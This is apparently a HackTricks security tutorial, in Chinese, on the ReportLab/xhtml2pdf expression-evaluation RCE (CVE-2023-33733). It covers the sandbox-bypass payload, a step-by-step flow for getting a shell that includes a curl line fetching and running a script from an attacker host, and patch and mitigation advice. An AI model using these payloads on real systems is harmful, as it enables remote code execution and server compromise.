ReportLab/xhtml2pdf [[[…]]] expression-evaluation RCE (CVE-2023-33733)
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
本页记录了一个在 ReportLab 的 rl_safe_eval 中的实用沙箱逃逸与 RCE 原语,该函数被 xhtml2pdf 及其他将用户控制的 HTML 渲染为 PDF 的管道使用。
CVE-2023-33733 影响 ReportLab 版本直到并包括 3.6.12。在某些属性上下文(例如 color),被三重方括号 [[[ … ]]] 包裹的值会被 rl_safe_eval 在服务器端求值。通过构造一个从白名单 builtin(pow)pivot 到其 Python 函数 globals 的载荷,攻击者可以到达 os 模块并执行命令。
关键点
- 触发:在被 ReportLab/xhtml2pdf 解析的标记中,将 [[[ … ]]] 注入到会被求值的属性(例如 )。
- 沙箱:rl_safe_eval 会替换危险的 builtin,但被求值的函数仍然暴露 globals。
- 绕过:构造临时类 Word 来绕过 rl_safe_eval 的名称检查并在避免被阻止的 dunder 过滤的同时访问字符串 “globals”。
- RCE:
getattr(pow, Word('__globals__'))['os'].system('<cmd>') - 稳定性:执行后返回该属性的有效值(对于 color,使用 and ‘red’)。
何时测试
- 暴露 HTML-to-PDF 导出(个人资料、发票、报告)并在 PDF 元数据或 HTTP 响应注释中显示 xhtml2pdf/ReportLab 的应用。
- exiftool profile.pdf | egrep ‘Producer|Title|Creator’ → “xhtml2pdf” producer
- PDF 的 HTTP 响应通常以 ReportLab 生成器注释开始
沙箱绕过的工作原理
- rl_safe_eval 会移除或替换许多 builtin(getattr, type, pow, …)并对名称应用过滤以拒绝以 __ 开头或在 denylist 中的属性。
- 然而,安全函数存在于一个可通过 func.globals 访问的 globals 字典中。
- 使用 type(type(1)) 恢复真实的 builtin type 函数(绕过 ReportLab 的包装),然后定义一个从 str 派生的 Word 类并改写比较行为,使得:
- .startswith(‘’) → 总是 False(绕过 name startswith(‘’) 检查)
- .eq 在第一次比较时返回 False(绕过 denylist 成员检查),随后返回 True(以便 Python getattr 工作)
- .hash 等于 hash(str(self))
- 这样,getattr(pow, Word(‘globals’)) 返回被包装的 pow 函数的 globals 字典,其中包含导入的 os 模块。然后:
['os'].system('<cmd>')。
最小化利用模式(属性示例) 将载荷放在被求值的属性内,并确保通过布尔运算返回有效的属性值(例如使用 and ‘red’)。
- 列表推导式形式允许单个表达式被 rl_safe_eval 接受。
- 尾部的 and ‘red’ 返回一个有效的 CSS 颜色,因此渲染不会中断。
- 根据需要替换命令;使用 ping 并结合 tcpdump 验证执行。
操作流程
- 识别 PDF 生成器
- PDF Producer 显示 xhtml2pdf;HTTP 响应包含 ReportLab 注释。
- 找到被反射到 PDF 的输入(例如,个人简介/描述)并触发导出。
- 使用低噪音的 ICMP 验证执行
- 运行:
sudo tcpdump -ni <iface> icmp - 载荷示例:…
system('ping <your_ip>')… - Windows 默认通常会发送恰好四个 echo 请求。
- 建立 shell
- 对于 Windows,可用可靠的两阶段方法来避免引号/编码问题:
- 阶段 1(下载):
- 阶段 2(执行):
- 对于 Linux 目标,类似的两阶段方法可用,使用 curl/wget:
- system(‘curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s’)
注意事项和技巧
- 属性上下文:color 是已知会被求值的属性;ReportLab 标记中的其他属性也可能会评估表达式。如果某个位置已被清理,尝试渲染到 PDF 流中的其他位置(不同字段、表格样式等)。
- 引号:保持命令简洁。两阶段下载大幅减少引号和转义的麻烦。
- 可靠性:如果导出被缓存或排队,稍微改变载荷(例如随机路径或查询)以避免命中缓存。
补丁状态(2024–2025)及识别回移补丁
- 3.6.13(2023-04-27)重写了
colors.toColor为基于 AST 的解析器;更新的 4.x 发行版保持了该路径。强制将rl_settings.toColorCanUse设为rl_safe_eval或rl_extended_literal_eval会重新启用有漏洞的求值器,即使在当前版本上亦然。 - 若干发行版在保留版本号(例如 3.6.12-1+deb12u1)的同时打了回移补丁;不要仅依赖语义版本号。Grep
colors.py查找ast.parse或在运行时检查toColor以确认安全解析器是否在使用(见下方快速检查)。 - 本地快速检查以判断 AST-based 修复是否存在:
python - <<'PY'
import inspect
from reportlab.lib import colors
src = inspect.getsource(colors.toColor)
print('AST-based toColor' if 'ast.parse' in src else 'rl_safe_eval still reachable')
PY
缓解与检测
- 将 ReportLab 升级到 3.6.13 或更高版本(已修复 CVE-2023-33733)。同时关注发行版包的安全公告。
- 不要在没有严格消毒的情况下将用户可控的 HTML/markup 直接输入到 xhtml2pdf/ReportLab。对于不受信任的输入,移除/拒绝 [[[…]]] 求值结构和厂商特定的标签。
- 考虑完全禁用或对 rl_safe_eval 的使用进行封装,以处理不受信任的输入。
- 在生成 PDF 的过程中监控可疑的外发连接(例如,从应用服务器导出文档时的 ICMP/HTTP)。
References
- PoC 和技术分析: c53elyas/CVE-2023-33733
- 0xdf University HTB write-up(真实世界利用,Windows two-stage payloads): HTB: University
- NVD 条目(受影响版本): CVE-2023-33733
- xhtml2pdf 文档(标记/页面 概念): xhtml2pdf docs
- ReportLab 3.6.13 发布说明(对 toColor 的 AST 重写): What’s New in 3.6.13
- Debian 安全跟踪器,显示回移修复但次要版本未变更: Debian tracker CVE-2023-33733
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。


